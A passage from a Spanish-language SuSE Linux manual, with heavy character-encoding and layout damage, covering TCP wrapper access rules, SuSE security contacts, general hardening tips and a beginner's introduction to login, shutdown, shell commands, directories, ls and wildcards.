  29673.                                  binaci≤n de cliente y servicio en el fichero /etc/hosts.allow.
  29674.  
  29675.                              o   Por el contrario, si esta combinaci≤n de cliente y servicio se encuentra en
  29676.                                  el fichero /etc/hosts.deny, el acceso es denegado.
  29677.  
  29678.                              o   Si  la  combinaci≤n  en  cuesti≤n  no  se  encuentra  en  ninguno  de  los  dos
  29679.                                  ficheros, el acceso es autorizado.
  29680.                            ________________________________________________________________________________________________________*
  29681.  *________||
  29682.  
  29683.                            |  Las combinaciones de servicio y cliente que se indican en /etc/hosts.                                *
  29684.  *        ||||
  29685.                            |  allow son ''mßs fuertes'' que las mismas en /etc/hosts.deny; por ejem-                               *
  29686.  *        |||
  29687.                            |                                                                                                       *
  29688.  *        |||
  29689.                            |  plo, cuando se permite en el fichero /etc/hosts.allow el acceso al puer-                             *
  29690.  *        |||
  29691.                            |  to  de  telnet,  Θste  contin·a  abierto  aunque  fuera  denegado  por  una  indi-                   *
  29692.  *        |||
  29693.                            |                                                                                                       *
  29694.  *        |||
  29695.                            |  caci≤n en /etc/hosts.deny.                                                                           *
  29696.  *        |||
  29697.                            |_______________________________________________________________________________________________________*
  29698.  *________|||_
  29699.  
  29700.  
  29701. 464
  29702.        __________________________________________________________________________________18.3.__Seguridad_en_SuSE______Linux_______*
  29703.  *______________________
  29704.  
  29705.  
  29706.  
  29707. La  sintaxis  para  estos  ficheros  se  explica  en  la  pßgina  del  manual  de
  29708. hosts_access            (man  5  hosts_access               ).
  29709.  
  29710. La alternativa al uso de la combinaci≤n TCP-Wrapper/inetd es el xinetd  (pa-
  29711. quete xinetd, serie n (network)). Este combina las funcionalidades de inetd
  29712. y tcpd, con la desventaja de la incompatibilidad entre los ficheros de configu-
  29713. raci≤n de inetd y xinetd.
  29714.        _______________________________________________________________________________________________________________________
  29715.        ||||||||  Como solo se puede iniciar uno de los ''Internet Super-Server'',  es nece-                     ||             |
  29716.        ||||||||                                                                                                 ||             |
  29717.        ||||||||  sario decidirse por uno de ellos.                                                              ||             |
  29718.        ||||||||_______________________________________________________________________________________________________________||_
  29719.  
  29720. La  serie  secchk  (Software  del  ßmbito  de  seguridad)sec  incluye  otros  pro-
  29721. gramas que ayudan en la instalaci≤n de un sistema seguro; se pueden probar
  29722. algunos de estos.
  29723. 18.3        Seguridad en SuSE        Linux
  29724.  
  29725.  
  29726. SuSE     ofrece los siguientes servicios para proporcionar una distribuci≤n enfo-
  29727. cada a temas de seguridad:
  29728.  
  29729.  
  29730.  
  29731. Hay dos listas de correo a disposici≤n de todos los interesados:
  29732.  
  29733.   o   suse-security-announce ~ para publicar noticias por parte de SuSE
  29734.       sobre problemas de seguridad.
  29735.  
  29736.   o   suse-security ~ se publican las noticias y es un foro de discusi≤n.
  29737.  
  29738.  
  29739. Para apuntarse en cualquiera de estas listas de correo, es suficiente con enviar
  29740. un E-Mail vacφo a suse-security-subscribe@suse.com o a
  29741. suse-security-announce-subscribe@suse.com.
  29742.  
  29743. majordomo@suse.com con el contenido:
  29744.  
  29745.  
  29746.       subscribe  suse-security
  29747.  
  29748.  
  29749. o con el contenido:
  29750.  
  29751.  
  29752.       subscribe  suse-security-announce
  29753.  
  29754.  
  29755.  
  29756. Notificaci≤n central de problemas de seguridad:
  29757.  
  29758.  
  29759. Si se ha descubierto un nuevo problema de seguridad (compruebe antes las
  29760. actualizaciones disponibles), envφe un E-Mail a security@suse.de con la de-
  29761. scripci≤n  del  problema.    Nos  preocuparemos  inmediatamente  del  asunto.
  29762. Puede  mandar  los  datos  encriptßndolos  con  paquete  pgp.    Nuestra  clave
  29763. p·blica (public  pgp  key           6 ) se encuentra, lista para descargar, bajo http:
  29764. //www.suse.de/security. (+  Encriptaci≤n).
  29765.  
  29766. 6      ____________________________________________________
  29767.   PGP Key fingerprint = 73 5F 2E 99 DF DB 94 C4 8F 5A A3 AE AF 22 F2 D5
  29768.  
  29769.  
  29770.                                                                                                                                    *
  29771.  *   465
  29772. 18.  Seguridad y Confianza_________________________________________________________________________________________________________*
  29773.  *_______________________________________@
  29774.  
  29775.  
  29776.  
  29777.                            18.4        Consejos generales
  29778.                             1.   No entrar al sistema como superusuario `root' para las tareas diarias, ya
  29779.  
  29780.                                  que debe ser solo para trabajos de administraci≤n de sistema.
  29781.  
  29782.                             2.   Evitar al mßximo el uso de telnet      , rlogin       o mßs a·n el de rsh   .
  29783.  
  29784.                             3.   En caso de trabajar remotamente, es mejor usar ssh    en lugar de rsh   .
  29785.  
  29786.                             4.   Desactivar todos los servicios de red no necesarios
  29787.  
  29788.                             5.   Mantener actualizados los paquetes importantes para la seguridad del sis-
  29789.                                  tema como p. ej.  paquete bind, paquete sendmail y paquete ssh.
  29790.  
  29791.                             6.   Quite los suid- y sgid bits de todos los ficheros del sistema que general-
  29792.                                  mente no son usados par parte de usuarios ''normales''.
  29793.  
  29794.                             7.   Controlar regularmente los ficheros de registro (log-files).
  29795.  
  29796. 466
  29797.  
  29798.                                                                                                       Capφtulo  19
  29799.                                                          Introducci≤n   a   Linux
  29800.  
  29801.  
  29802. Unix  es un sistema a tal punto complejo que a continuaci≤n s≤lo se podrßn
  29803. aclarar los aspectos mßs importantes.  El presente manual no ha sido elabo-
  29804. rado para remplazar la bibliografφa existente sobre Linux o Unix; tampoco lo
  29805. podrφa hacer y Θste no es su objetivo.
  29806.  
  29807. En  todo  caso,  aconsejamos  adquirir  un  manual  adecuado  a  quienes  hayan
  29808. decidido  utilizar  o  cambiar  DOS  por  Linux.   En  el  anexo  se  incluye,  a  tal
  29809. efecto, una lista con bibliografφa recomendada.  Si se dispone de bibliografφa
  29810. sobre Unix que no sea especφfica para Linux, se podrß ver que gran parte de
  29811. la informaci≤n sobre el sistema es aplicable a Linux.
  29812.  
  29813. Algunos manuales o parte de ellos que pertenecen a GPL , se pueden encon-
  29814. trar como ficheros .dvi- o PostScript en el paquete doc, serie books. Pueden
  29815. ser visualizados bajo X11 con XDvi  (xdvi    ) o GhostView (gv  ) e imprimidos
  29816. φntegramente o por pßginas con lpr .
  29817.  
  29818. Pero  hasta  tener  el  manual  de  Unix  en  las  manos,  esta  introducci≤n  para
  29819. principiantes deberφa alcanzar para dar los primeros pasos en Linux.
  29820.  
  29821. Al empezar a trabajar con Unix, despuΘs de una instalaci≤n exitosa, se hace
  29822. login con el nombre de usuario que se haya introducido durante la instalaci≤n,
  29823. no solo porque para este usuario se hayan predeterminado ciertas caracterφsti-
  29824. cas ''amistosas'', sino tambiΘn porque, como ocurre con el systema Unix, ''so-
  29825. lo'' usted tiene responsabilidad sobre su +  directorio de usuario (ingl. home
  29826. directory).  Este procedimiento, el de trabajar bajo un nombre de usuario, es
  29827. ·til en sistemas operativos multiusuario para la seguridad del sistema.  Con
  29828. ello es imposible,  por ejemplo,  cambiar o borrar por equivocaci≤n ficheros
  29829. importantes para el sistema.
  29830.        _______________________________________________________________________________________________________________________||
  29831.        ||||||||  Una orden undelete        como la que existe en DOS, no existe (a·n) en Linux,                 |||            |
  29832.        ||||||||  por  lo  tanto,  una  alteraci≤n  involuntaria  de  ficheros  del  sistema  podrφa             ||             |
  29833.        ||||||||                                                                                                 ||             |
  29834.        ||||||||  hacer necesaria la reinstalaci≤n del sistema por completo.                                     ||             |
  29835.        ||||||||_______________________________________________________________________________________________________________||_
  29836.  
  29837. Para  un  principiante,  el  inicio  con  Linux  parece  de  gran  complejidad  ante
  29838. todo porque a Θl va unida la complicada tarea de administrador del sistema.
  29839.  
  29840.  
  29841.  
  29842. 19.1        Hacer login, `root'-Usuario, introducci≤n de Usuario
  29843.  
  29844. La posibilidad de multi-usuarios (ingl. multiuser) de Linux exige que, siem-
  29845. pre  que  se  desee  utilizar  el  sistema,  primero  se  deba  identificar  en  una  +
  29846.  
  29847.  
  29848.                                                                                                                                    *
  29849.  *   467
  29850. 19.  Introducci≤n a_Linux__________________________________________________________________________________________________________*
  29851.  *_______________________________________@
  29852.  
  29853.  
  29854.  
  29855.                            consola  (en  la  cual  se  tiene  previsto  trabajar,  ver  apartado  19.4  en  la  pßgi-
  29856.                            na  471Consolas  virtualessection.19.4)  1 .   Este  proceso,  que  es  parte  indis-
  29857.                            pensable en el concepto de seguridad de un sistema moderno de multiusuar-
  29858.                            ios, se denomina hacer login; con Θl se consigue entre otras cosas, que cada
  29859.                            usuario tenga su propio entorno de trabajo y que s≤lo asφ pueda acceder a sus
  29860.                            ficheros. Primero se introduce el nombre de usuario (p. ej.  `tux') y luego la
  29861.                            contrase±a (p. ej.  xxxxxx      ); se deben reemplazar los sφmbolos xxxxxx       por la
  29862.                            contrase±a escogida!_Los sφmbolos xxxxxx      no aparecen en la pantalla; luego
  29863.                            se pulsa |E_______n|ter2:
  29864.  
  29865.                                  login:  tux    |______|-
  29866.  
  29867.  
  29868.                                  Password:  xxxxxx  |______|-
  29869.  
  29870.  
  29871.                            Si se ha ''hecho login'' correctamente, se entra al directorio del usuario que
  29872.                            corresponde (p. ej.  /home/tux         para el usuario `tux').
  29873.  
  29874.                            Para salir del sistema (hacer logout), se introduce la orden logout       o exit    .
  29875.  
  29876.                            El usuario `root' es el +  administrador del sistema y TODO le estß autor-
  29877.                            izado. Los ficheros importantes del sistema s≤lo pueden ser manipulados por
  29878.                            `root'. Por lo tanto, se hace login como `root' solo cuando sea realmente
  29879.                            necesario.   De  este  modo  se  protege  el  sistema  de  modificaciones  involun-
  29880.                            tarias que, seg·n el caso, obligarφan a una nueva instalaci≤n.
  29881.  
  29882.                            Algunas acciones s≤lo permitidas a `root' son:
  29883.  
  29884.  
  29885.                              o   +  Montar sistemas de ficheros como CDs y disquetes asφ como instalaci≤n
  29886.                                  de software. Este derecho lo tiene tambiΘn el usuario normal al introducir
  29887.                                  la  opci≤n  user    para  el  correspondiente  perifΘrico  en  /etc/fstab  (ver
  29888.                                  apartado 19.11.2 en la pßgina 485Montaje y desmontaje de sistemas de
  29889.                                  ficherossubsection.19.11.2).
  29890.  
  29891.                              o   Introducir y eliminar usuarios (ver apartado 3.7.7 en la pßgina 112Admin-
  29892.                                  istraci≤n de usuariossubsection.3.7.7).
  29893.  
  29894.                              o   Instalaci≤n de un nuevo kernel.
  29895.  
  29896.                              o   Configuraci≤n del sistema.
  29897.  
  29898.                              o   Apagar el sistema (ver apartado 19.2).
  29899.  
  29900.                              o   ejecutar YaST  (ver capφtulo 3 en la pßgina 83YaST  ~ Yet another Setup
  29901.                                  Toolchapter.3).
  29902.  
  29903.  
  29904.                            19.2        Apagar y arrancar el sistema
  29905.  
  29906.                            ________________________________________________________________________________________________________*
  29907.  *________||
  29908.                            |  IMPORTANTE: En ning·n caso se debe desconectar la computadora o                                      *
  29909.  *        ||||
  29910.                            |                                                                                                       *
  29911.  *        |||
  29912.                            |  pulsar Reset (+  Reset) mientras el sistema estΘ en funcionamiento, ya que                           *
  29913.  *        |||
  29914.                            |  se pueden producir da±os en el +  sistema de ficheros, con la consiguiente                           *
  29915.  *        |||
  29916.                            |                                                                                                       *
  29917.  *        |||
  29918.                            |  pΘrdida de datos.                                                                                    *
  29919.  *        |||
  29920.                            |_______________________________________________________________________________________________________*
  29921.  *________|||__
  29922.                            1  Si se ha configurado un login grßfico (ver apartado 3.7.5 en la pßgina 111Configuraci≤n del
  29923.                            Loginsubsection.3.7.5), el proceso que se describe a continuaci≤n tiene la misma validez!
  29924.                            2 En caso de no haberse otorgado una contrase±a al instalar el sistema, serß suficiente con pulsar
  29925.                            | _______
  29926.                             E_______n|ter!
  29927.  
  29928. 468
  29929.        __________________________________________________________________________19.3.__Comandos_~_lφnea_de_comandos_______________*
  29930.  *______________________
  29931.  
  29932.  
  29933.  
  29934. Usar  los  comandos  de  la  tabla  19.1  para  apagar  (ingl.  shutdown)  correcta-
  29935. mente la computadora.
  29936.  
  29937.        _______________________________________________________________________________________________________________________
  29938.  
  29939.  
  29940.    shutdown  -h  now                detiene  el  sistema  (se  podrß  apagar  la  mßquina
  29941.                                     cuando  aparezca  el  mensaje:   "the  system  is
  29942.                                     halted")
  29943.  
  29944.  
  29945.    shutdown  -r  now                reinicia  el  sistema  inmediatamente  despuΘs  de
  29946.                                     haberlo apagado
  29947.  
  29948.        _______________________________________________________________________________________________________________________
  29949.  
  29950.                    Tabla 19.1: Comandos para apagar el sistema Linux
  29951.  
  29952.  
  29953. En  general,  el  comando  shutdown         en  todas  sus  variantes  s≤lo  puede  ser
  29954. ejecutado por el usuario `root'.
  29955.  
  29956. Para ''apagar'' el sistema, se entra utilizando la contrase±a `root' y se intro-
  29957. duce el comando shutdown  -h  now             o shutdown  -r  now            .
  29958.  
  29959. TambiΘn se puede iniciar,_como_se suele_hacer_en_DOS,_mediante_la_combi-_  ____       ____
  29960. naci≤n de las teclas |C______|trl+ |A____l|t+ |S______|upr(|C______|trl+ |A____l|t+ |D____e|l).  Dado que
  29961. esta combinaci≤n de teclas bajo X11 no es reconocida, primero se debe salir
  29962. de X11. Sin embargo esta combinaci≤n puede ser usada por cualquier usuario
  29963. desde cualquier consola virtual.
  29964.  
  29965.  
  29966.  
  29967. 19.3        Comandos ~ lφnea de comandos
  29968.  
  29969. Si bien, el manejo de Linux resulta cada vez mßs fßcil, p. ej.  mediante progra-
  29970. mas controlados a travΘs de men·; a fin de cuentas ~ en caso de una emergen-
  29971. cia o cuando no se dispone de un programa con men· para una determinada
  29972. operaci≤n ~ s≤lo nos queda como recurso introducir ''comandos'' Unix.
  29973.  
  29974.  
  29975. Cußles son los comandos de Unix?
  29976.  
  29977. Los comandos de Unix son:
  29978.  
  29979.   o   programas ejecutables
  29980.  
  29981.   o   scripts de la shell
  29982.  
  29983.   o   scripts de lenguajes de script como Perl, Tcl, etc.
  29984.  
  29985.   o   shell-alias (como macros de shell).
  29986.  
  29987. Todos tienen en com·n que son ficheros: al cargar un programa en Linux, se
  29988. ordena a la shell que busque el fichero con el nombre del programa (para ello
  29989. es necesario una rama de b·squeda, definida por la variable PATH) y una vez
  29990. hallado, lo ejecute, si Θste posee la licencia de usuario pertinente.
  29991.  
  29992. Pero,  quΘ  ocurre  si  el  programa  (p. ej.   el  comando  para  copiar)  necesita
  29993. parßmetros adicionales o nombres de ficheros?
  29994.  
  29995. Esto es relativamente fßcil,  porque para ello existen los llamados parßmet-
  29996. ros  (ingl.  parameter).  Los  parßmetros  son  argumentos  adicionales  para  un
  29997. comando,  que  le  comunican  datos  necesarios.   En  la  lφnea  de  entrada  los
  29998.  
  29999.  
  30000.                                                                                                                                    *
  30001.  *   469
  30002. 19.  Introducci≤n a_Linux__________________________________________________________________________________________________________*
  30003.  *_______________________________________@
  30004.  
  30005.  
  30006.  
  30007.                            parßmetros van detrßs del nombre del comando, separados como mφnimo por
  30008.                            un espacio en blanco 3 .
  30009.                            Por otra parte, puede ser necesario influir en el comportamiento de un coman-
  30010.                            do (p. ej.  se desea ver el contenido de un directorio de forma completa y no
  30011.                            s≤lo los nombres de los ficheros).  En Linux esto ocurre con las llamadas op-
  30012.                            ciones (ingl. options). Las opciones van siempre inmediatamente despuΘs de
  30013.                            los nombres de los comandos y antes de los parßmetros.  En ocasiones, y de
  30014.                            forma excepcional, es posible encontrar comandos ''sucios'' que no responden
  30015.                            a este formato. Generalmente, las opciones van precedidas de un gui≤n (p. ej.
  30016.                            -la   ) y pueden obedecer a dos tipos de formato (ver tabla 19.2).
  30017.  
  30018.                            ________________________________________________________________________________________________________*
  30019.  *________
  30020.  
  30021.                               -a                               forma corta, com·n en Unix
  30022.                               --all                            forma larga, llamada notaci≤n GNU
  30023.  
  30024.                            ________________________________________________________________________________________________________*
  30025.  *________
  30026.                                                         Tabla 19.2: Opciones para comandos
  30027.  
  30028.  
  30029.                            Cuando haya que utilizar varias opciones, muchos programas de Linux per-
  30030.                            miten  ''acumularlas''.   Esto  significa  que  no  es  necesario  que  todas  las  op-
  30031.                            ciones vayan, una detrßs de otra, precedidas cada una de un gui≤n.  Es decir,
  30032.                            s≤lo  la  primera  opci≤n  deberφa  ir  precedida  de  un  gui≤n;  las  siguientes  se
  30033.                            escribirßn junto a Θsta inmediatamente despuΘs. Ejemplo:
  30034.                                  -a  -f  -r  -u       o
  30035.                                  -afru                 o
  30036.                                  -frua
  30037.                            El ejemplo muestra que, en general, el orden de las opciones es irrelevante.
  30038.                            Si bien, existen excepciones a esta regla.
  30039.  
  30040.                            Para hacerlo mßs complejo, algunas opciones pueden tener a su vez parßmet-
  30041.                            ros. Ejemplo:
  30042.                                  -f  <mifichero>    o
  30043.                                  -f<mifichero>
  30044.                            En raras ocasiones, (mßs bien pocas) puede ser irrelevante que entre la opci≤n
  30045.                            y su parßmetro haya o no un espacio en blanco. En general se debe introducir
  30046.                            uno.
  30047.  
  30048.  
  30049.                            Ejemplos
  30050.  
  30051.                            Resumiendo: en Linux un comando tiene el siguiente aspecto (Ejemplos)4 :
  30052.                                  tierra:  #  fdisk
  30053.                                  tierra:  #  lsmod
  30054.                                  tierra:  #  ls
  30055.                            Usando opciones:
  30056.                                  tierra:  #  fdisk  -v
  30057.                                  tierra:  #  ls  -l  -a
  30058.                            ______tierra:__#__ls__-la____________________
  30059.                            3  Nota:  Esto implica que un espacio en blanco no pueda ser parte del parßmetro, ya que es el
  30060.                            ''separador'' de los argumentos. Un espacio en blanco puede ser usado en un parßmetro si Θste va
  30061.                            entre comillas ""  o ''.
  30062.                            4 No olvidar: con ''tierra:   #  '' el sistema indica que estß preparado para recibir comandos;
  30063.                            estas palabras y caracteres no tendrß que introducirlas usted
  30064.  
  30065.  
  30066. 470
  30067.        ______________________________________________________________________________________________19.4.__Consolas_virtuales_____*
  30068.  *______________________
  30069.  
  30070.  
  30071.  
  30072. Con parßmetros:
  30073.       tierra:  #  fdisk  /dev/hda
  30074.       tierra:  #  ls  /tmp
  30075.  
  30076. Con opciones y parßmetros:
  30077.  
  30078.       tierra:  #  ls  -la  /tmp
  30079.       tierra:  #  rpm  -qpl  <mipaquete>.rpm
  30080.       tierra:  #  gcc  -o  <parßmetro  con  opciones>  <parßmetro>
  30081.  
  30082. El espacio en blanco es un carßcter especial en las series de comandos Linux
  30083. ya que fundamentalmente se usa para separar entre sφ las diferentes partes de
  30084. un comando.
  30085.  
  30086.  
  30087.  
  30088. 19.4        Consolas virtuales
  30089.  
  30090.  
  30091. Linux es un sistema +  multitarea y multiusuario. Las ventajas que aportan es-
  30092. tas caracterφsticas se agradecen incluso en un sistema PC con un solo usuario:
  30093.  
  30094. El modo texto ofrece 6 +  consolas virtuales,_a las que_se puede_acceder_me-_
  30095. diante las combinaciones de las teclas |A____l|t+ |F___|1a |A____l|t+ |F___|6.  La sΘptima
  30096. consola estß reservada para X11.5
  30097.  
  30098. Si estando en X11 se desea trabajar_en una_consola_virtual_sin_cerrar_X11, se__        ___
  30099. pulsan las combinaciones_|C______t|rl+_|A____l|t+_|F___1|a |C______t|rl+ |A____l|t + |F___6|.  Para
  30100. volver a X11 pulsar |A____l|t+ |F___|7.
  30101.  
  30102.  
  30103.  
  30104. 19.5        Directorios y nombres de ficheros
  30105.  
  30106.  
  30107. Toda la informaci≤n ~ ya sean textos, imßgenes, bases de datos o informaci≤n
  30108. para la configuraci≤n del sistema ~ se almacena en ''ficheros'', que a su vez se
  30109. guardan en ''directorios''.  Con todas las herramientas y programas existentes
  30110. se puede acceder a estos ficheros para ver su contenido o modificarlo.
  30111.  
  30112. El carßcter para separar directorios (en DOS `\') es en Unix `/' (ingl. slash).
  30113. Un path o camino es una cadena de caracteres en la cual los directorios van
  30114. separados mediante `/'.  Un `/' indica el directorio de mayor jerarquφa, el
  30115. +  directorio raφz.
  30116.  
  30117. Unix diferencia entre may·sculas y min·sculas.  Es decir, el fichero Pepe no
  30118. es el mismo que pepe.  En general, no es necesario separar los nombres de
  30119. los ficheros en nombre y extensi≤n pero algunos programas sφ requieren esta
  30120. divisi≤n (p. ej. ALTEX).
  30121.        _______________________________________________________________________________________________________________________||
  30122.        ||||||||  La  funci≤n  de  la  tecla | _____|Tab(tecla  de  tabulador)  ahorra  trabajo  a  la  hora     |||            |
  30123.        ||||||||                                                                                                 ||             |
  30124.        ||||||||  de introducir los nombres de ficheros o de directorios)._ Se introducen las                    ||             |
  30125.        ||||||||  primeras letras del fichero en cuesti≤n y se pulsa |Tab   |. La +  Shell completa              ||             |
  30126.        ||||||||                                                      ____                                       ||             |
  30127.        ||||||||  el nombre del fichero (siempre que la primera o las primeras letras sean                       ||             |
  30128.        ||||||||  suficientes para identificarla de forma ·nica).  En caso de que haya varias                    ||             |
  30129.        ||||||||                                                                                                 ||             |
  30130.        ||||||||  posibilidades, Θstas aparecerßn el la pantalla al pulsar tab por segunda vez.                  ||             |
  30131.        ||||||||_______________________________________________________________________________________________________________||_
  30132. 5      ____________________________________________________
  30133.   Modificando el fichero /etc/inittab se puede disponer de mßs o de menos consolas.
  30134.  
  30135.  
  30136.                                                                                                                                    *
  30137.  *   471
  30138. 19.  Introducci≤n a_Linux__________________________________________________________________________________________________________*
  30139.  *_______________________________________@
  30140.  
  30141.  
  30142.  
  30143.                            19.6        Trabajar con directorios
  30144.  
  30145.                            DespuΘs  de  hacer  login  (ver  apartado  19.1  en  la  pßgina  467Hacer  login,
  30146.                            `root'-Usuario, introducci≤n de Usuariosection.19.1) se entra al directorio
  30147.                            de usuario. Esto se puede comprobar con el comando pwd   (ingl. print working
  30148.                            directory), el cual indica en quΘ directorio se encuentra en ese momento:
  30149.  
  30150.                                  tux@tierra:/home/tux  >  pwd
  30151.                                  /home/tux
  30152.                            El comando cd   (ingl. change directory) sirve (igual que en DOS) para cam-
  30153.                            biar de directorio. Si se introduce
  30154.  
  30155.                                  tux@tierra:/home/tux  >  cd  /usr/bin
  30156.                                  tux@tierra:/usr/bin  >
  30157.                            se cambiarß al directorio /usr/bin,
  30158.  
  30159.                                  tux@tierra:/home/tux  >  cd  latex
  30160.                                  tux@tierra:/home/tux/latex  >
  30161.                            cambia al subdirectorio latex, eso sφ, siempre y cuando en el directorio de
  30162.                            usuario de `tux' exista el directorio /home/tux/latex              .
  30163.  
  30164.                            Si  se  introduce  el  comando  cd   sin  argumento,  se  regresa  al  directorio  de
  30165.                            usuario.  El nombre del directorio de usuario puede ser reemplazado por el
  30166.                            carßcter ` '. Al introducir
  30167.  
  30168.                                  tux@tierra:/home/tux  >  cd  ~/latex
  30169.  
  30170.                            se cambia al directorio latex del +   directorio de usuario.  Al igual que en
  30171.                            DOS `..' hace referencia al directorio superior y `.' al presente.
  30172.  
  30173.                            Para crear nuevos directorios se usa el comando mkdir     (ingl. make) directory.
  30174.                            Al introducir
  30175.  
  30176.                                  tux@tierra:/home/tux  >  mkdir  textos
  30177.  
  30178.                            se crea el subdirectorio textos en el directorio en que se encuentre en ese
  30179.                            momento.   Para  borrar  directorios  vacφos  se  usa  el  comando  rmdir      (ingl.
  30180.                            remove directory).
  30181.  
  30182.  
  30183.  
  30184.                            19.7        Trabajar con ficheros
  30185.  
  30186.  
  30187.                            Si bien es posible que en un futuro los ficheros sean reemplazados por objetos
  30188.                            o sφmbolos, lo cierto es que hoy por hoy tienen una importancia fundamental
  30189.                            a la hora de trabajar con la computadora. Es por ello que en Linux el n·mero
  30190.                            de comandos relacionados con los ficheros es tan grande.
  30191.  
  30192.  
  30193.                            19.7.1       Propiedades de los ficheros
  30194.  
  30195.                            El comando ls   muestra una lista con el contenido del directorio en que nos
  30196.                            encontramos (el directorio actual). Esta lista contiene todos los ficheros y los
  30197.                            nombres de los directorios del directorio actual.  Los nombres de los directo-
  30198.                            rios aparecen seguidos de `/'.  El contenido de otros directorios tambiΘn se
  30199.                            puede visualizar si se introduce el parßmetro:
  30200.  
  30201.                                  tux@tierra:  >  ls  /usr/bin
  30202.  
  30203.                            A diferencia de DOS, los programas ejecutables no se identifican mediante
  30204.                            extensiones como .exe o .com, sino mediante un asterisco `*' o por el color
  30205.  
  30206.  
  30207. 472
  30208.        _________________________________________________________________________________________19.7.__Trabajar_con_ficheros_______*
  30209.  *______________________
  30210.  
  30211.  
  30212.  
  30213. rojo    .  Se trata de algunas de las caracteristicas que se pueden visualizar con
  30214. el comando ls  ; para mßs informaci≤n mirar p. ej.  la salida en pantalla de:
  30215.       tux@tierra:  >  ls  --help
  30216.  
  30217. Nunca se debe indicar el asterisco explφcitamente ya que Θste solo sirve como
  30218. indicador  del  atributo  ''executable'';  para  mayor  informaci≤n  ver  el  en  la
  30219. pßgina 478Autorizaciones para ficherossection.19.8.
  30220.  
  30221. Una opci≤n muy prßctica de ls  es -l  , que ofrece una lista mßs detallada de
  30222. nombres de ficheros que incluye las autorizaciones de acceso,  propietarios,
  30223. grupo y tama±o:
  30224.  
  30225.       tux@tierra:  >  ls  -l
  30226.  
  30227. Esto  genera  en  el  monitor  la  lista  que  aparece  en  el  Mensaje  en  pan-
  30228. talla 19.7.1.
  30229.        _______________________________________________________________________________________________________________________||||
  30230.  
  30231.        ||||||||    drwxr-xr-x    6    tux  users     1024    Mar  21    12:39  ./                                              |
  30232.        ||||||||                                                                                                                |
  30233.        ||||||||    drwxr-xr-x    4    tux  users     1024    Mar  21    17:13  ../                                             |
  30234.        ||||||||    drwxr-xr-x    2    tux  users     1024    Nov  6     16:19  bin/                                            |
  30235.        ||||||||                                                                                                                |
  30236.        ||||||||    -rwxr-xr-x    1    tux  users     4160    Mar  21    12:38  check*                                          |
  30237.        ||||||||    drwxr-xr-x    2    tux  users     1024    Nov  6     16:23  etc/                                            |
  30238.        ||||||||                                                                                                                |
  30239.        ||||||||    drwxr-xr-x    2    tux  users     1024    Nov  6     16:19  sbin/                                           |
  30240.        ||||||||    drwxr-xr-x    12  tux  users     1024    Nov  6     18:20  usr/                                             |
  30241.        ||||||||                                                                                                                |
  30242.        ||||||||    -rw-r--r--    1    tux  users  185050    Mar  15    12:33  xvi.tgz                                          |
  30243.        ||||||||    -rw-r--r--    1    tux  users    98444    Mar  14    12:30  xvnews.tgz                                      |
  30244.        ||||||||                                                                                                                |
  30245.        ||||||||_______________________________________________________________________________________________________________ |
  30246.  
  30247.              Mensaje en pantalla 19.7.1: Lista obtenida mediante ls  -l
  30248.  
  30249.  
  30250. El significado de los diferentes campos que aparecen en el Mensaje en pan-
  30251. talla 19.7.1 se explica en la tabla 19.3 en la pßgina siguiente.
  30252.  
  30253.        ______________________________________________________________________________________________________________________
  30254.  
  30255.    Autorizaciones                     El primer carßcter de este campo designa el tipo
  30256.                                       de  fichero.   `d'  significa  directorio,  `l'  link  y
  30257.                                       `-' designa un fichero normal.  Los 9 caracteres
  30258.                                       siguientes  indican  las  autorizaciones  de  acceso
  30259.                                       para el propietario, el grupo y los demßs usuarios
  30260.                                       (tres caracteres cada uno). `r' significa leer, `w'
  30261.                                       escribir, y `x' ejecutar. Por ejemplo, `-rw-r~r~
  30262.                                       ' hace referencia a un fichero que puede ser leφ-
  30263.                                       do por el propietario, por los miembros del grupo
  30264.                                       y  por  todos  los  demßs,  pero  que  s≤lo  puede  ser
  30265.                                       modificado por el propietario.  Ver la pßgina del
  30266.                                       manual de chmod      (man  chmod       ).
  30267.    Propietario                        El propietario del fichero. Ver la pßgina del man-
  30268.                                       ual de chown      (man  chown       ).
  30269.    Grupo                              Grupo al que pertenece el fichero.  Ver la pßgina
  30270.                                       del manual de chgrp      (man  chgrp       ).
  30271.  
  30272.        ______________________________________________________________________________________________________________________
  30273.  
  30274.                        Tabla 19.3: Contin·a en la pßgina siguiente ...
  30275.  
  30276.                                                                                                                                    *
  30277.  *   473
  30278. 19.  Introducci≤n a_Linux__________________________________________________________________________________________________________*
  30279.  *_______________________________________@
  30280.  
  30281.                             _______________________________________________________________________________________________________*
  30282.  *_________
  30283.  
  30284.  
  30285.                               Tama±o                            Tama±o del fichero en Bytes.
  30286.                               ┌ltima modificaci≤n               Fecha de la ·ltima modificaci≤n del fichero.  En
  30287.                                                                 el caso de ficheros que fueron modificados hace
  30288.                                                                 mßs de un a±o, aparece el a±o en lugar de la hora.
  30289.                               Nombre                            Nombre del fichero o del directorio.
  30290.  
  30291.                             _______________________________________________________________________________________________________*
  30292.  *_________
  30293.  
  30294.                                                      Tabla 19.3: Atributos de un fichero Unix
  30295.                            19.7.2       Wildcards ~ Comodines
  30296.  
  30297.                            En comparaci≤n con DOS, las opciones que ofrece el intΘrprete de comandos
  30298.                            (p. ej.  bash ) a travΘs de las +  Wildcards son ''fascinantes''.
  30299.  
  30300.                            En Linux, los wildcards no se limitan a `*' y `?'. Por ejemplo, mediante
  30301.  
  30302.                                  tux@tierra:  >  ls  *a???.?
  30303.  
  30304.                            se  pueden  seleccionar  todos  aquellos  ficheros  del  presente  directorio,  cuyo
  30305.                            nombre contenga una `a' en sexta posici≤n por la derecha y cuyo pen·ltimo
  30306.                            carßcter sea `.'.
  30307.  
  30308.                            En lugar de un ·nico carßcter `a', se podrφa introducir un rango de caracteres.
  30309.                            Como pueden ser las letras `a', `b', `c', `d', `e', `f'. Aplicado a nuestro
  30310.                            caso, el comando serφa:
  30311.  
  30312.                                  tux@tierra:  >  ls  *[a-f]???.?
  30313.  
  30314.                            La b·squeda tambiΘn se puede realizar en un orden no alfabΘtico:
  30315.  
  30316.                                  tux@tierra:  >  ls  *[1,3-5,M-P,a,k]???.?
  30317.  
  30318.  
  30319.                            19.7.3       El contenido de los ficheros
  30320.  
  30321.                            Mediante los comandos more     y less     es posible visualizar el contenido de un
  30322.                            fichero pßgina por pßgina.  Con el comando ''clßsico'' more     s≤lo se pueden
  30323.                            pasar las pßginas hacia ''abajo''6 ; less     es considerablemente mßs c≤modo y
  30324.                            por lo tanto mßs aconsejable. Mediante
  30325.  
  30326.                                  tux@tierra:  >  less  /etc/login.defs
  30327.  
  30328.                            se carga el fichero /etc/login.defs en el ''viewer'' less , lo cual no llama
